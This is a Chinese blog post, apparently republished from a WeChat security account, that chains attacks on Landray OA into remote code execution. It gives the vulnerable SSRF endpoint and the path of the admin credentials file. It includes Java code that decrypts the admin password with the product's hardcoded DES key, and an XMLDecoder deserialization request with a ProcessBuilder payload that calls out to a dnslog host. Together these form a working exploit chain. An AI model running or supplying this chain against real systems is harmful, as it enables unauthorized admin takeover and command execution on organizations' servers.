前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >蓝某OA前台SSRF进一步利用到RCE

蓝某OA前台SSRF进一步利用到RCE

作者头像
用户7151998
发布2023-07-24 19:14:12
8740
发布2023-07-24 19:14:12
举报
文章被收录于专栏:赛博回忆录赛博回忆录

0x00 前言

先祝大家五一节快乐,远海说五天假期要连着学五天。正好前两天暴出蓝凌OA的一个未授权的SSRF漏洞,借着这个SSRF漏洞远海深入研究了一波完成了一个SSRF到RCE的组合利用。那么我们来看看这个组合链是如何构造的。

0x01 正文

蓝某OA前台SSRF漏洞

漏洞地址: /sys/ui/extend/varkind/custom.jsp

直接贴源码:

代码语言:javascript
复制
<%@page import="com.landray.kmss.util.ResourceUtil"%>
<%@page import="net.sf.json.JSONArray"%>
<%@page import="net.sf.json.JSONObject"%>
<%@ page language="java" pageEncoding="UTF-8"%>
<%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core"%>
<%
  JSONObject vara = JSONObject.fromObject(request.getParameter("var"));
  JSONObject body = JSONObject.fromObject(vara.get("body"));
%>
<c:import url='<%=body.getString("file") %>'>
  <c:param name="var" value="${ param['var'] }"></c:param>
</c:import>

挺简单的一处漏洞。。

内容就是一堆套娃处理。不细说。

问题就是在于<c:import url=

<c:import>标签提供了所有<jsp:include>行为标签所具有的功能,同时也允许包含绝对URL。 举例来说,使用<c:import>标签可以包含一个FTP服务器中不同的网页内容。

url的内容可控为json内容中的file键值。

这里的url可以是相对路径和绝对路径或者是其他主机的资源。

简单来说就是一处ssrf。并且是有回显的。

看了大部分poc都是利用file协议去读取passwd。

你以为文章到这就结束了???这才刚刚开始。

既然是SSRF,并且可以读文件还支持相对路径?。这不好好利用一下?

如果你看过蓝凌OA的配置文档。你就知道,admin.do这个路径是管理系统配置。并且,该地址的密码是以硬编码的格式保存在本地的。

路径:WEB-INF/KmssConfig/admin.properties

既然上面的ssrf支持相对路径和绝对路径。并且,是有回显的。那么只需要读取这个路径的文件就可以了。

成功得到密码,但是这里要注意 kmss.properties.encrypt.enabled = true

如果为ture,则说明password的内容是加密过的。

那么就需要进一步解密。

先看看这个文件在哪里被读取了。

com.landray.kmss.sys.config.constant.SysConfigConstant类中,admin.properties的路径被存储在变量ADMIN_PROPERTIES_PATH中。

继续查找,看一下哪里调用了ADMIN_PROPERTIES_PATH变量

最终在com.landray.kmss.sys.config.action.SysConfigAdminUtil中发现getAdminProperties方法中存在调用。

看了下具体逻辑。

代码语言:javascript
复制
    if (isEncryptEnabled(p))
      p.setProperty("password", doPasswordDecrypt(
            p.getProperty("password"))); 
    return p;
  }

如果配置文件中的加密选项为true。则进入doPasswordDecrypt方法进行解密。

这不就直接可以了吗?

解密代码:

代码语言:javascript
复制

import com.landray.kmss.util.DESEncrypt;

public class main {
    public static void main(String[] args) {
        String password = "mqwEyqHLj9PQXpy+yhf4z92SejWx+VeS";
        String resul=doPasswordDecrypt(password);
        System.out.println(resul);

    }
    public static String doPasswordDecrypt(String password) {
        try {
            DESEncrypt des = new DESEncrypt("kmssAdminKey");
            return des.decryptString(password);
        } catch (Exception ex) {
            try {
                DESEncrypt des0 = new DESEncrypt("kmssAdminKey", true);
                return des0.decryptString(password);
            } catch (Exception e) {
                return "hh";
            }
        }
    }
}


得到解密结果

直接访问admin.do进行登陆。

到了这一步。。。估计其他师傅已经知道怎么rce了。jndi,jdbc反序列化就可以直接rce了

不过,对于我这种懒狗来说。还是不够简洁。

对于admin账号。可以直接在前台登陆。

然后利用hw期间爆出的后台洞就可以直接拿到shell。

这里摸一个0day,带走。

也可以使用之前在星球发过的xmldecoder反序列化漏洞。

POC:

代码语言:javascript
复制
/sys/search/sys_search_main/sysSearchMain.do?method=editParam&fdParemNames=11&fdParameters=<payload>

使用XMLDecoder-payload-generator生成payload。

github地址: https://github.com/mhaskar/XMLDecoder-payload-generator

代码语言:javascript
复制
<?xml version="1.0" encoding="UTF-8"?> <java version="1.7.0_21" class="java.beans.XMLDecoder"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="2"><void index="0"><string>ping</string></void><void index="1"><string>test.****.dnslog.cn</string></void></array> <void method="start" id="process"> </void> </void> </java>

这里测试下dnslog

成功RCE

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-05-03,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 赛博回忆录 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档